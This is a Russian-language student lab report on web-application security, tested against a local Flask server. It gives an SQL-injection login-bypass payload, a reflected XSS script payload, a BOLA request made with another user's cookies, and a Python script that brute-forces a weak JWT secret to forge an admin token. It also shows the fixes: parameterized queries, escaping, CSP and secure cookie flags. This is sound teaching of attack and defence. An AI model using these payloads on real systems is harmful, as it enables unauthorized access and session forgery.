Министерство образования Республики Беларусь
Учреждение образования
«Брестский государственный технический университет»
Кафедра ИИТ

Лабораторная работа № 1
За седьмой семестр
Тема: «Исследование уязвимостей веб-приложений и программных интерфейсов, настройка механизмов аутентификации»

Выполнил:
Студент 4 курса
Группы ИИ-25
Милевский А.Д.
Проверил:
Хацкевич А.С.

2026

Вариант 1

Цель: практическое освоение методов выявления и эксплуатации уязвимостей прикладного уровня (SQLi, XSS, BOLA), алгоритмов компрометации JWT-токенов, а также проектирование механизмов защиты (CSP, Secure Cookies) в соответствии со стандартами OWASP.

Номер варианта определяется по формуле: (Номер студента в списке журнала % 15) + 1. →вариант 1

Вариант	Условие SQLi (Payload type)	Вектор XSS (Обязательный тег)	BOLA: ID жертвы	JWT: Целевая роль (role)	Защита: Директива CSP
1	Boolean-based (OR)	<script>	ID = 1 (admin)	admin	default-src

Задание 1. Обход аутентификации через SQL-инъекцию и ее устранение

curl.exe -i -X POST http://127.0.0.1:5000/login -d "username=admin' OR '1'='1'-- -&password=123"





Фрагмент исправленного кода на Python с использованием параметризованных запросов.

query = "SELECT id, username, role FROM users WHERE username=? AND password=?"
c.execute(query, (username, password))



Задание 2. Эксплуатация межсайтового скриптинга (XSS)

Временно заменим защищенную строку на уязвимую:
Было (защита): safe_query = html.escape(query)
Временно (уязвимость): safe_query = query

curl.exe -s http://127.0.0.1:5000/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E

```
(.venv) PS C:\Users\artem\PyCharmMiscProject> curl.exe -s "http://127.0.0.1:5000/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E"
<h1>Результаты поиска для: &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</h1><p>Ничего не найдено.</p>
(.venv) PS C:\Users\artem\PyCharmMiscProject>
```

Теперь возвращаем защиту
curl.exe -I http://127.0.0.1:5000/search?q=test

```
(.venv) PS C:\Users\artem\PyCharmMiscProject> curl.exe -I "http://127.0.0.1:5000/search?q=test"
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.4
Date: Tue, 10 Nov 2026 00:34:46 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 95
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Connection: close

(.venv) PS C:\Users\artem\PyCharmMiscProject>
```

Задание 3. Нарушение разграничения доступа на уровне объектов (BOLA/IDOR)

Сначала залогинимся под обычным пользователем student2 (пароль pass2) и сохраним его куки в файл user_cookies.txt

curl.exe -c user_cookies.txt -X POST http://127.0.0.1:5000/login -d "username=student2&password=pass2"

```
(.venv) PS C:\Users\artem\PyCharmMiscProject> curl.exe -c user_cookies.txt -X POST http://127.0.0.1:5000/login -d "username=student2&password=pass2"
Login success. Role: user
(.venv) PS C:\Users\artem\PyCharmMiscProject>
```

Теперь пытаемся прочитать профиль администратора (у него ID = 1), используя куки студента:
curl.exe -b user_cookies.txt -i http://127.0.0.1:5000/api/profile/1

```
(.venv) PS C:\Users\artem\PyCharmMiscProject> curl.exe -b user_cookies.txt -i http://127.0.0.1:5000/api/profile/1
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.8 Python/3.14.4
Date: Tue, 10 Nov 2026 00:41:17 GMT
Content-Type: application/json
Content-Length: 37
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Connection: close

{"error":"Forbidden: Access denied"}
(.venv) PS C:\Users\artem\PyCharmMiscProject>
```

Задание 4. Подделка и атака на JWT-токен

brute.py:

```
import jwt
import datetime
old_secret = "student2026"
old_token = jwt.encode(
  {'user_id': 5, 'role': 'user', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)},
  old_secret, algorithm='HS256'
)
print(f"Исходный токен: {old_token}\n")
# подбор (Brute-force)
wordlist = ["123456", "password", "admin", "secret", "student2026", "qwerty"]
print("Начинаем подбор секретного ключа...")
for word in wordlist:
  try:
    # Пытаемся расшифровать токен текущим словом
    jwt.decode(old_token, word, algorithms=['HS256'])
    print(f"[+] УСПЕХ! Найден секретный ключ: '{word}'")
    # Генерируем поддельный токен с правами админа
    forged_token = jwt.encode(
      {'user_id': 1, 'role': 'admin', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)},
      word, algorithm='HS256'
    )
    print(f"[+] Поддельный токен админа: {forged_token}")
    break
  except jwt.InvalidSignatureError:
    pass  # Ключ не подошел, дальше
```

```
C:\Users\artem\PyCharmMiscProject\.venv\Scripts\python.exe C:\Users\artem\PyCharmMiscProject\xn1\brute.py
C:\Users\artem\PyCharmMiscProject\xn1\brute.py:6: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezo
  {'user_id': 5, 'role': 'user', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)},
C:\Users\artem\PyCharmMiscProject\xn1\brute.py:24: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timez
  {'user_id': 1, 'role': 'admin', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)},
Исходный токен: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo1LCJyb2xlIjoidXNlciIsImV4cCI6MTc5NDI3NTAwNn0.AcgF5HnS4SjOoeaPk2UKPr70IoRAgvdAKrurCcxVwcI

Начинаем подбор секретного ключа...
[+] УСПЕХ! Найден секретный ключ: 'student2026'
[+] Поддельный токен админа: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3OTQyNzUwMDZ9.ZH49iVz3Z11kPTOAGKgSpgKac77cPuIHS5R9pphOf

Process finished with exit code 0
```

Задание 5: Проектирование механизмов защиты (Без написания кода)

Для нейтрализации атак, направленных на кражу сессионного токена через JavaScript (XSS) и его перехват в открытых сетях (MitM), при выдаче токена используется метод set_cookie со строго заданными флагами:

1. HttpOnly **(Только для HTTP):** Запрещает доступ к данной Cookie со стороны клиентских скриптов (через document.cookie в JavaScript). Это базовая защита от **XSS-атак**. Даже если злоумышленник внедрит на страницу вредоносный скрипт, он не сможет украсть сессионный токен и угнать сессию пользователя.
2. Secure **(Безопасный):** Гарантирует, что браузер будет передавать эту Cookie исключительно по зашифрованному протоколу HTTPS. Это защищает от **MitM-атак** (Man-in-the-Middle). Если злоумышленник перехватит трафик (например, в открытой Wi-Fi сети) или попытается понизить протокол до HTTP, Cookie передана не будет, и токен останется в безопасности.

3. SameSite='Strict' **(Строгий режим):** Контролирует отправку Cookie при кросс-доменных запросах. Значение Strict означает, что Cookie отправляется только в том случае, если запрос исходит с того же сайта, которому принадлежит Cookie. Это полностью блокирует **CSRF-атаки** (Cross-Site Request Forgery), так как браузер жертвы не приложит сессионный токен к запросу, инициированному со стороннего сайта злоумышленника.

Вывод: В ходе лабораторной работы выявлены и устранены пять типичных уязвимостей веб-приложений:
• SQL-инъекция: показано, что небезопасные SQL-запросы позволяют злоумышленнику управлять базой данных; внедрена параметризация запросов, исключающая возможность инъекций.
• Reflected XSS: воспроизведено выполнение внедрённых скриптов и продемонстрировано их блокирование после внедрения экранирования ввода и строгой CSP.
• BOLA / IDOR: устранена возможность несанкционированного доступа к чужим данным за счёт проверки соответствия user_id в JWT и в URL запроса.
• Подделка JWT: показано, что использование слабого секрета позволяет подделывать токены; после перехода на криптографически стойкий секрет и добавления проверки заголовка alg подделка стала невозможной.
• Cookies и CSP: реализованы безопасные cookie с флагами HttpOnly, Secure, SameSite=Strict и строгая политика CSP, что защищает от эксфильтрации токенов через XSS и от CSRF. Приобретённые навыки: практическая настройка и тестирование защитных механизмов; работа с curl и DevTools для анализа заголовков и поведения приложения; понимание принципов параметризации SQL, подписи JWT, директив CSP и безопасного хранения cookie.
Эффективность: каждая уязвимость воспроизводилась в исходном состоянии; после внесённых исправлений соответствующие атаки были заблокированы или стали невозможны.